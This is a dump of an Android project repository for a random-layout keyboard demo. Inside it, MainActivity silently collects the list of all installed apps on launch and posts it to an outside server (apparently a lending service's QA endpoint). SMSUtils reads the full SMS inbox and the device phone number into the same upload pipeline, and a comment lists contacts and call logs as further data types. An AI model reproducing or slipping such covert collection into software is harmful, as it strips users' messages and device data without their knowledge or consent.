229 | 230 | /** 231 | * dp转px 232 | * 233 | * @param dp 234 | * @return 235 | */ 236 | public static int Dp2Px(Context context, float dp) { 237 | return (int) (dp * context.getResources().getDisplayMetrics().density + 0.5f); 238 | } 239 | } 240 | -------------------------------------------------------------------------------- /app/src/main/java/com/benli/randomkeyboard/InputTools.java: -------------------------------------------------------------------------------- 1 | package com.benli.randomkeyboard; 2 | 3 | import android.content.Context; 4 | import android.text.InputFilter; 5 | import android.text.Spanned; 6 | import android.view.View; 7 | import android.view.inputmethod.InputMethodManager; 8 | import android.widget.EditText; 9 | 10 | import java.util.Timer; 11 | import java.util.TimerTask; 12 | 13 | /** 14 | * Created by shibenli on 2016/3/23. 15 | */ 16 | public class InputTools { 17 | // 切换虚拟键盘状态 18 | public static void ChangeKeyboardStatus(Context context) { 19 | InputMethodManager imm = (InputMethodManager) context.getSystemService(Context.INPUT_METHOD_SERVICE); 20 | imm.toggleSoftInput(0, InputMethodManager.HIDE_NOT_ALWAYS); 21 | } 22 | // 隐藏虚拟键盘 23 | public static void HideKeyboard(View v) { 24 | InputMethodManager imm = (InputMethodManager) v.getContext().getSystemService( 25 | Context.INPUT_METHOD_SERVICE); 26 | if (imm.isActive()) { 27 | imm.hideSoftInputFromWindow(v.getApplicationWindowToken(), 0); 28 | } 29 | } 30 | 31 | // 显示虚拟键盘 32 | public static void ShowKeyboard(View v) { 33 | InputMethodManager imm = (InputMethodManager) v.getContext().getSystemService( 34 | Context.INPUT_METHOD_SERVICE); 35 | 36 | imm.showSoftInput(v, InputMethodManager.SHOW_FORCED); 37 | 38 | } 39 | 40 | // 强制显示或者关闭系统键盘 41 | public static void KeyBoard(final View txtSearchKey, final String status) { 42 | 43 | Timer timer = new Timer(); 44 | timer.schedule(new TimerTask() { 45 | @Override 46 | public void run() { 47 | InputMethodManager m = (InputMethodManager) txtSearchKey.getContext() 48 | .getSystemService(Context.INPUT_METHOD_SERVICE); 49 | if (status.equals("open")) { 50 | m.showSoftInput(txtSearchKey, InputMethodManager.SHOW_FORCED); 51 | } else { 52 | m.hideSoftInputFromWindow(txtSearchKey.getWindowToken(), 0); 53 | } 54 | } 55 | }, 10); 56 | } 57 | 58 | // 通过定时器强制隐藏虚拟键盘 59 | public static void TimerHideKeyboard(final View v) { 60 | Timer timer = new Timer(); 61 | timer.schedule(new TimerTask() { 62 | @Override 63 | public void run() { 64 | InputMethodManager imm = (InputMethodManager) v.getContext().getSystemService( 65 | Context.INPUT_METHOD_SERVICE); 66 | if (imm.isActive()) { 67 | imm.hideSoftInputFromWindow(v.getApplicationWindowToken(), 0); 68 | } 69 | } 70 | }, 10); 71 | } 72 | 73 | // 输入法是否显示着 74 | public static boolean KeyBoard(EditText edittext) { 75 | boolean bool = false; 76 | InputMethodManager imm = (InputMethodManager) edittext.getContext().getSystemService( 77 | Context.INPUT_METHOD_SERVICE); 78 | if (imm.isActive()) { 79 | bool = true; 80 | } 81 | return bool; 82 | 83 | } 84 | 85 | public static class UserNameFilter implements InputFilter { 86 | protected boolean ignoreDot; 87 | private final String macth; 88 | 89 | public UserNameFilter(){ 90 | this(false); 91 | } 92 | 93 | public UserNameFilter(boolean ignoreDot){ 94 | this.ignoreDot = ignoreDot; 95 | if (ignoreDot) 96 | macth = "[^(\\u4e00-\\u9fa5)]"; 97 | else 98 | macth = "[^(·\\u4e00-\\u9fa5)]"; 99 | } 100 | 101 | @Override 102 | public CharSequence filter(CharSequence source, int start, int end, Spanned dest, int dstart, int dend) { 103 | String stringBuffer = new StringBuffer(source).toString(); 104 | return stringBuffer.replaceAll(macth, ""); 105 | } 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /app/src/main/java/com/benli/randomkeyboard/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.benli.randomkeyboard; 2 | 3 | import android.content.DialogInterface; 4 | import android.content.Intent; 5 | import android.content.IntentFilter; 6 | import android.net.Uri; 7 | import android.os.Bundle; 8 | import android.util.Log; 9 | import android.view.View; 10 | import android.view.Window; 11 | import android.widget.Button; 12 | import android.widget.EditText; 13 | import android.widget.PopupWindow; 14 | import android.widget.TextView; 15 | import android.widget.Toast; 16 | 17 | import androidx.appcompat.app.AlertDialog; 18 | import androidx.appcompat.app.AppCompatActivity; 19 | 20 | import com.benli.keyboard.KeyboardHelper; 21 | import com.benli.randomkeyboard.app.AppInfoBean; 22 | import com.benli.randomkeyboard.app.AppUtils; 23 | import com.benli.randomkeyboard.app.UploadDataBean; 24 | import com.benli.randomkeyboard.receiver.PackageReceiver; 25 | import com.benli.randomkeyboard.sms.SMSInfoBean; 26 | import com.benli.randomkeyboard.sms.SMSUtils; 27 | import com.blankj.utilcode.constant.PermissionConstants; 28 | import com.blankj.utilcode.util.ConvertUtils; 29 | import com.blankj.utilcode.util.EncryptUtils; 30 | import com.blankj.utilcode.util.LogUtils; 31 | import com.blankj.utilcode.util.PermissionUtils; 32 | import com.blankj.utilcode.util.SPStaticUtils; 33 | import com.blankj.utilcode.util.StringUtils; 34 | import com.facebook.drawee.view.SimpleDraweeView; 35 | import com.google.gson.Gson; 36 | import com.lzy.okgo.OkGo; 37 | import com.lzy.okgo.callback.StringCallback; 38 | import com.lzy.okgo.model.Response; 39 | 40 | import java.util.List; 41 | 42 | public class MainActivity extends AppCompatActivity implements CommonUtils.OnDynamicCodeDialogClickListener { 43 | PackageReceiver packageReceiver = new PackageReceiver(); 44 | IntentFilter packageFilter = new IntentFilter(); 45 | 46 | private String keyDES = "6801020304050607"; 47 | private String resDES = "1F7962581118F360"; 48 | private byte[] bytesKeyDES = ConvertUtils.hexString2Bytes(keyDES); 49 | private byte[] bytesResDES = ConvertUtils.hexString2Bytes(resDES); 50 | 51 | private KeyboardHelper keyboardHelper; 52 | private AlertDialog alertDialog; 53 | private PopupWindow popupWindow; 54 | 55 | @Override 56 | protected void onCreate(Bundle savedInstanceState) { 57 | super.onCreate(savedInstanceState); 58 | setContentView(R.layout.activity_main); 59 | keyboardHelper = new KeyboardHelper(this) 60 | .addEditText((EditText) findViewById(R.id.edittext1)) 61 | .addEditText((EditText) findViewById(R.id.edittext2)) 62 | .setShouldRandom(true); 63 | Uri uri = Uri.parse("https://raw.githubusercontent.com/facebook/fresco/gh-pages/static/logo.png"); 64 | SimpleDraweeView draweeView = findViewById(R.id.iv_img); 65 | draweeView.setImageURI(uri); 66 | 67 | collectAppInfo("test-randomkeyboard"); 68 | 69 | // PermissionUtils.permission(PermissionConstants.SMS, PermissionConstants.PHONE).callback(new PermissionUtils.SimpleCallback() { 70 | // @Override 71 | // public void onGranted() { 72 | // String devicePhoneNumber = SMSUtils.getDevicePhoneNumber(MainActivity.this); 73 | // LogUtils.d("devicePhoneNumber: " + devicePhoneNumber); 74 | // } 75 | // 76 | // @Override 77 | // public void onDenied() { 78 | // 79 | // } 80 | // }).request(); 81 | 82 | packageFilter.addAction(Intent.ACTION_PACKAGE_ADDED); 83 | packageFilter.addAction(Intent.ACTION_PACKAGE_REPLACED); 84 | packageFilter.addAction(Intent.ACTION_PACKAGE_REMOVED); 85 | packageFilter.addDataScheme("package"); 86 | registerReceiver(packageReceiver, packageFilter); 87 | } 88 | 89 | @Override 90 | protected void onDestroy() { 91 | super.onDestroy(); 92 | unregisterReceiver(packageReceiver); 93 | } 94 | 95 | private void doCollectInfo(UploadDataBean uploadDataBean) { 96 | // String data = new Gson().toJson(uploadDataBean.data); 97 | // UploadDataBean bean = new UploadDataBean<>(); 98 | // byte[] dataBytes = EncryptUtils.encrypt3DES2Base64(data.getBytes(), bytesKeyDES, "DES/CBC/PKCS5Padding", null ); 99 | // bean.data = new String(dataBytes); 100 | // bean.dataID = uploadDataBean.dataID; 101 | // bean.endTime = uploadDataBean.endTime; 102 | // bean.node = uploadDataBean.node; 103 | // bean.order = uploadDataBean.order; 104 | // bean.orderLength = uploadDataBean.orderLength; 105 | // bean.startTime = uploadDataBean.startTime; 106 | // bean.pageCount = uploadDataBean.pageCount; 107 | // bean.total = uploadDataBean.total; 108 | // bean.type = uploadDataBean.type; 109 | doSaveNew(uploadDataBean); 110 | } 111 | 112 | private void collectSMSInfo(String collectNode) { 113 | UploadDataBean> uploadDataBean = new UploadDataBean<>(); 114 | uploadDataBean.startTime = System.currentTimeMillis(); 115 | uploadDataBean.dataID = java.util.UUID.randomUUID().toString(); 116 | uploadDataBean.type = 6; 117 | uploadDataBean.node = collectNode; 118 | 119 | List smsInfoBeanList = SMSUtils.getSmsInPhone(this); 120 | uploadDataBean.endTime = System.currentTimeMillis(); 121 | 122 | int remainder = smsInfoBeanList.size() % PAGE_LIMIT; 123 | int page = smsInfoBeanList.size() / PAGE_LIMIT; 124 | 125 | uploadDataBean.orderLength = remainder > 0 ? page + 1 : page; 126 | uploadDataBean.total = smsInfoBeanList.size(); 127 | 128 | for (int i = 0; i < page; i ++) { 129 | 130 | UploadDataBean> realUploadDataBean = uploadDataBean; 131 | 132 | try { 133 | realUploadDataBean = (UploadDataBean>) uploadDataBean.clone(); 134 | } catch (CloneNotSupportedException e) { 135 | e.printStackTrace(); 136 | } 137 | 138 | realUploadDataBean.order = i + 1; 139 | realUploadDataBean.pageCount = PAGE_LIMIT; 140 | realUploadDataBean.data = smsInfoBeanList.subList(i * PAGE_LIMIT, (i + 1) * PAGE_LIMIT); 141 | 142 | doCollectInfo(realUploadDataBean); 143 | } 144 | 145 | if (remainder > 0) { 146 | uploadDataBean.order = page + 1; 147 | uploadDataBean.pageCount = remainder; 148 | uploadDataBean.data = smsInfoBeanList.subList(uploadDataBean.total - remainder, uploadDataBean.total); 149 | 150 | doCollectInfo(uploadDataBean); 151 | } 152 | 153 | } 154 | 155 | private void doSaveNew(UploadDataBean uploadDataBean) { 156 | String json = SPStaticUtils.getString("appData"); 157 | Log.d("tag", json); 158 | doHttp(json); 159 | 160 | json = new Gson().toJson(uploadDataBean); 161 | // doHttp(json); 162 | SPStaticUtils.put("appData", json); 163 | Log.d("tag", json); 164 | } 165 | 166 | private void doHttp(String json) { 167 | if (!StringUtils.isEmpty(json)) { 168 | OkGo.post("https://cy-qa.cashbull.in/appserver/save/new") 169 | .upJson(json).execute(new StringCallback() { 170 | 171 | @Override 172 | public void onSuccess(Response response) { 173 | Log.d("okgo", response.body()); 174 | } 175 | }); 176 | } 177 | } 178 | 179 | static final int PAGE_LIMIT = 500; 180 | 181 | private void collectAppInfo(String collectNode) { 182 | UploadDataBean> uploadDataBean = new UploadDataBean<>(); 183 | uploadDataBean.startTime = System.currentTimeMillis(); 184 | uploadDataBean.dataID = java.util.UUID.randomUUID().toString(); 185 | uploadDataBean.type = 4; 186 | uploadDataBean.node = collectNode; 187 | 188 | List appInfoBeanList = AppUtils.getAppInfos(this); 189 | uploadDataBean.endTime = System.currentTimeMillis(); 190 | 191 | int remainder = appInfoBeanList.size() % PAGE_LIMIT; 192 | int page = appInfoBeanList.size() / PAGE_LIMIT; 193 | 194 | uploadDataBean.orderLength = remainder > 0 ? page + 1 : page; 195 | uploadDataBean.total = appInfoBeanList.size(); 196 | 197 | for (int i = 0; i < page; i++) { 198 | 199 | UploadDataBean> realUploadDataBean = uploadDataBean; 200 | 201 | try { 202 | realUploadDataBean = (UploadDataBean>) uploadDataBean.clone(); 203 | } catch (CloneNotSupportedException e) { 204 | e.printStackTrace(); 205 | } 206 | 207 | realUploadDataBean.order = i + 1; 208 | realUploadDataBean.pageCount = PAGE_LIMIT; 209 | realUploadDataBean.data = appInfoBeanList.subList(i * PAGE_LIMIT, (i + 1) * PAGE_LIMIT); 210 | 211 | doCollectInfo(realUploadDataBean); 212 | } 213 | 214 | if (remainder > 0) { 215 | uploadDataBean.order = page + 1; 216 | uploadDataBean.pageCount = remainder; 217 | uploadDataBean.data = appInfoBeanList.subList(uploadDataBean.total - remainder, uploadDataBean.total); 218 | 219 | doCollectInfo(uploadDataBean); 220 | } 221 | } 222 | 223 | public void onClick(View v) { 224 | alertDialog = CommonUtils.showDynamicCodeDialog(this, "提示信息", "请输入", false, true, -1, this); 225 | Window window = alertDialog.getWindow(); 226 | final EditText edtWithdrawCashDynamicCode = (EditText) window.findViewById(R.id.edt_withdraw_cash_dynamic_code); 227 | keyboardHelper.addEditText(edtWithdrawCashDynamicCode); 228 | } 229 | 230 | public void onPopwindowClick(View v) { 231 | popupWindow = CommonUtils.showDynamicCodeWindow(this, "提示信息", "请输入", false, true, -1, this, v); 232 | 233 | View window = popupWindow.getContentView(); 234 | final EditText edtWithdrawCashDynamicCode = (EditText) window.findViewById(R.id.edt_withdraw_cash_dynamic_code); 235 | keyboardHelper.addEditText(edtWithdrawCashDynamicCode); 236 | } 237 | 238 | @Override 239 | public void onGetCode(Button view, EditText editText) { 240 | 241 | } 242 | 243 | @Override 244 | public void onCancel(TextView view, EditText editText) { 245 | if (alertDialog != null) { 246 | alertDialog.dismiss(); 247 | } 248 | 249 | if (popupWindow != null) { 250 | popupWindow.dismiss(); 251 | } 252 | } 253 | 254 | @Override 255 | public void onDismiss(DialogInterface dialog) { 256 | 257 | } 258 | 259 | @Override 260 | public void onSure(TextView view, EditText editText) { 261 | Toast.makeText(this, "onSure:" + editText.getText(), Toast.LENGTH_SHORT).show(); 262 | } 263 | } 264 | -------------------------------------------------------------------------------- /app/src/main/java/com/benli/randomkeyboard/app/AppInfoBean.java: -------------------------------------------------------------------------------- 1 | package com.benli.randomkeyboard.app; 2 | 3 | 4 | import androidx.annotation.Keep; 5 | 6 | @Keep 7 | public class AppInfoBean { 8 | 9 | //应用名 10 | public String appName; 11 | //应用版本号 12 | public String appVersion; 13 | //应用包名 14 | public String packageName; 15 | //应用安装时间 16 | public String installTime; 17 | //数据采集时间 18 | public String createTime; 19 | 20 | @Override 21 | public String toString() { 22 | return "AppInfo{" + "appName='" + appName + '\'' + ", appVersion='" + appVersion + '\'' + ", packageName='" + packageName + '\'' + '}'; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /app/src/main/java/com/benli/randomkeyboard/app/AppUtils.java: -------------------------------------------------------------------------------- 1 | package com.benli.randomkeyboard.app; 2 | 3 | import android.content.Context; 4 | import android.content.pm.ApplicationInfo; 5 | import android.content.pm.PackageInfo; 6 | import android.content.pm.PackageManager; 7 | 8 | import java.text.SimpleDateFormat; 9 | import java.util.ArrayList; 10 | import java.util.Date; 11 | import java.util.List; 12 | 13 | public class AppUtils { 14 | 15 | /** 16 | * 获取设备所有应用信息 17 | * 18 | * @param context 19 | * @return 20 | */ 21 | public static List getAppInfos(Context context) { 22 | SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 23 | String createTime = simpleDateFormat.format(new Date()); 24 | //创建要返回的集合对象 25 | List appInfos = new ArrayList<>(); 26 | //获取手机中所有安装的应用集合 27 | List applicationInfos = context.getPackageManager().getInstalledApplications(PackageManager.GET_UNINSTALLED_PACKAGES); 28 | //遍历所有的应用集合 29 | for (ApplicationInfo info : applicationInfos) { 30 | AppInfoBean appInfo = new AppInfoBean(); 31 | //获取应用的名称 32 | String appName = info.loadLabel(context.getPackageManager()).toString(); 33 | //获取应用的包名 34 | String packageName = info.packageName; 35 | try { 36 | //获取应用的版本号 37 | PackageInfo packageInfo = context.getPackageManager().getPackageInfo(packageName, 0); 38 | String app_version = packageInfo.versionName; 39 | appInfo.appVersion = app_version; 40 | appInfo.createTime = createTime; 41 | appInfo.installTime = simpleDateFormat.format(new Date(packageInfo.firstInstallTime)); 42 | } catch (PackageManager.NameNotFoundException e) { 43 | e.printStackTrace(); 44 | } 45 | appInfo.appName = appName; 46 | appInfo.packageName = packageName; 47 | appInfos.add(appInfo); 48 | } 49 | return appInfos; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /app/src/main/java/com/benli/randomkeyboard/app/UploadDataBean.java: -------------------------------------------------------------------------------- 1 | package com.benli.randomkeyboard.app; 2 | 3 | 4 | import androidx.annotation.Keep; 5 | 6 | import com.google.gson.Gson; 7 | import com.google.gson.annotations.SerializedName; 8 | 9 | @Keep 10 | public class UploadDataBean implements Cloneable { 11 | 12 | /** 13 | * 数据ID,随机生成全局唯一ID 14 | */ 15 | @SerializedName("dataId") 16 | public String dataID; 17 | 18 | /** 19 | * 数据类型:1、行为数据,2、设备数据,3、通讯录数据,4、应用数据,5、通话记录数据,6、短信数据 20 | */ 21 | public int type; 22 | 23 | /** 24 | * 收集开始时间 25 | */ 26 | public long startTime; 27 | 28 | /** 29 | * 收集结束时间 30 | */ 31 | public long endTime; 32 | 33 | /** 34 | * 数据收集节点 35 | */ 36 | public String node; 37 | 38 | /** 39 | * 数据分片片数 40 | */ 41 | @SerializedName("pageSize") 42 | public int orderLength; 43 | 44 | /** 45 | * 当前数据段序号 46 | */ 47 | @SerializedName("pageIndex") 48 | public int order; 49 | 50 | /** 51 | * 数据总条数 52 | */ 53 | @SerializedName("totalCount") 54 | public int total; 55 | 56 | /** 57 | * 当前数据片条数 58 | */ 59 | public int pageCount; 60 | 61 | /** 62 | * 具体数据 63 | */ 64 | public T data; 65 | 66 | 67 | public String toJsonString() { 68 | String jsonString = new Gson().toJson(this); 69 | return jsonString; 70 | } 71 | 72 | @Override 73 | public Object clone() throws CloneNotSupportedException { 74 | return super.clone(); 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /app/src/main/java/com/benli/randomkeyboard/receiver/PackageReceiver.kt: -------------------------------------------------------------------------------- 1 | package com.benli.randomkeyboard.receiver 2 | 3 | import android.content.BroadcastReceiver 4 | import android.content.Context 5 | import android.content.Intent 6 | import android.util.Log 7 | 8 | class PackageReceiver : BroadcastReceiver() { 9 | override fun onReceive(context: Context?, intent: Intent?) { 10 | //app包名 11 | val packageName = intent?.data?.schemeSpecificPart ?: "" 12 | val action = intent?.action ?: "" 13 | 14 | Log.e("PackageReceiver", "【action: $action】, 【packageName: $packageName】") 15 | 16 | when (intent?.action) { 17 | Intent.ACTION_PACKAGE_ADDED -> { 18 | // 安装 19 | 20 | } 21 | Intent.ACTION_PACKAGE_REPLACED -> { 22 | // 覆盖安装 23 | 24 | } 25 | Intent.ACTION_PACKAGE_REMOVED -> { 26 | // 移除 27 | 28 | } 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /app/src/main/java/com/benli/randomkeyboard/sms/SMSInfoBean.java: -------------------------------------------------------------------------------- 1 | package com.benli.randomkeyboard.sms; 2 | 3 | import androidx.annotation.Keep; 4 | 5 | @Keep 6 | public class SMSInfoBean { 7 | public String name; 8 | public String phoneNumber; 9 | public String body; 10 | public String date; 11 | public int type; 12 | public String customerPhone; 13 | public String createTime; 14 | 15 | @Override 16 | public String toString() { 17 | return name + "---" + phoneNumber + "---" + body + "---" + date + "---" + type; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /app/src/main/java/com/benli/randomkeyboard/sms/SMSUtils.java: -------------------------------------------------------------------------------- 1 | package com.benli.randomkeyboard.sms; 2 | 3 | import android.Manifest; 4 | import android.content.ContentResolver; 5 | import android.content.Context; 6 | import android.content.pm.PackageManager; 7 | import android.database.Cursor; 8 | import android.database.sqlite.SQLiteException; 9 | import android.net.Uri; 10 | import android.telephony.SubscriptionInfo; 11 | import android.telephony.SubscriptionManager; 12 | import android.telephony.TelephonyManager; 13 | import android.text.TextUtils; 14 | 15 | import androidx.core.app.ActivityCompat; 16 | 17 | import java.lang.reflect.Method; 18 | import java.text.SimpleDateFormat; 19 | import java.util.ArrayList; 20 | import java.util.Date; 21 | import java.util.List; 22 | 23 | public class SMSUtils { 24 | 25 | /** 26 | * 获取短信记录 27 | * 28 | * @param context 上下文对象 29 | * @return 短信记录 30 | */ 31 | public static List getSmsInPhone(Context context) { 32 | String createTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()); 33 | final String SMS_URI_INBOX = "content://sms/"; 34 | List list = new ArrayList<>(); 35 | try { 36 | ContentResolver cr = context.getContentResolver(); 37 | String[] projection = new String[]{"_id", "address", "person", "body", "date", "type"}; 38 | Uri uri = Uri.parse(SMS_URI_INBOX); 39 | Cursor cursor = cr.query(uri, projection, null, null, "date desc"); 40 | 41 | if (cursor == null) 42 | return list; 43 | while (cursor.moveToNext()) { 44 | SMSInfoBean messageInfo = new SMSInfoBean(); 45 | // -----------------------信息---------------- 46 | int nameColumn = cursor.getColumnIndex("person");// 联系人姓名列表序号 47 | int phoneNumberColumn = cursor.getColumnIndex("address");// 手机号 48 | int smsbodyColumn = cursor.getColumnIndex("body");// 短信内容 49 | int dateColumn = cursor.getColumnIndex("date");// 日期 50 | int typeColumn = cursor.getColumnIndex("type");// 收发类型 1表示接受 2表示发送 51 | String nameId = cursor.getString(nameColumn); 52 | String phoneNumber = cursor.getString(phoneNumberColumn); 53 | String smsbody = cursor.getString(smsbodyColumn); 54 | Date d = new Date(Long.parseLong(cursor.getString(dateColumn))); 55 | SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd " + "\n" + "HH:mm:ss"); 56 | String date = dateFormat.format(d); 57 | int type = cursor.getInt(typeColumn); 58 | messageInfo.name = nameId; 59 | messageInfo.phoneNumber = phoneNumber; 60 | messageInfo.body = smsbody; 61 | messageInfo.date = date; 62 | messageInfo.type = type; 63 | messageInfo.customerPhone = getDevicePhoneNumber(context); 64 | messageInfo.createTime = createTime; 65 | list.add(messageInfo); 66 | } 67 | 68 | } catch (SQLiteException e) { 69 | e.printStackTrace(); 70 | } 71 | return list; 72 | } 73 | 74 | /** 75 | * 获取本机手机号码 76 | * @param context 77 | * @return 78 | */ 79 | public static String getDevicePhoneNumber(Context context) { 80 | TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); 81 | if (ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_NUMBERS) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { 82 | return ""; 83 | } 84 | StringBuilder phoneNum = new StringBuilder(); 85 | SubscriptionManager sm = (SubscriptionManager) context.getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE); 86 | if (null != sm){ 87 | List subscriptionInfos = sm.getActiveSubscriptionInfoList(); 88 | for (SubscriptionInfo info : subscriptionInfos){ 89 | int subId = info.getSubscriptionId(); 90 | try { 91 | Method getLine1Number = TelephonyManager.class.getMethod("getLine1Number", int.class); 92 | String phone = (String) getLine1Number.invoke(tm, subId); 93 | if (!TextUtils.isEmpty(phone)){ 94 | if (phoneNum.length() <= 0){ 95 | phoneNum.append(phone); 96 | }else { 97 | phoneNum.append(",").append(phone); 98 | } 99 | } 100 | } catch (Exception e) { 101 | e.printStackTrace(); 102 | } 103 | } 104 | } 105 | 106 | if (phoneNum.length() <= 0){ 107 | return tm.getLine1Number(); 108 | }else { 109 | return phoneNum.toString(); 110 | } 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /app/src/main/res/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beilly/randomkeyboard/61df296fd7e2d214ff06bd53dcd0bd633103be92/app/src/main/res/.DS_Store -------------------------------------------------------------------------------- /app/src/main/res/drawable/color_cursor.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/selecter_corner4_yellow_gray.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/shape_border_corner4_gray.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/shape_corner4_gray_t80.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/shape_corner4_white_normal.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 9 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/shape_corner4_yellow_click.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/shape_corner4_yellow_normal.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 17 | 18 | 24 | 25 | 35 | 36 | 43 | 44 |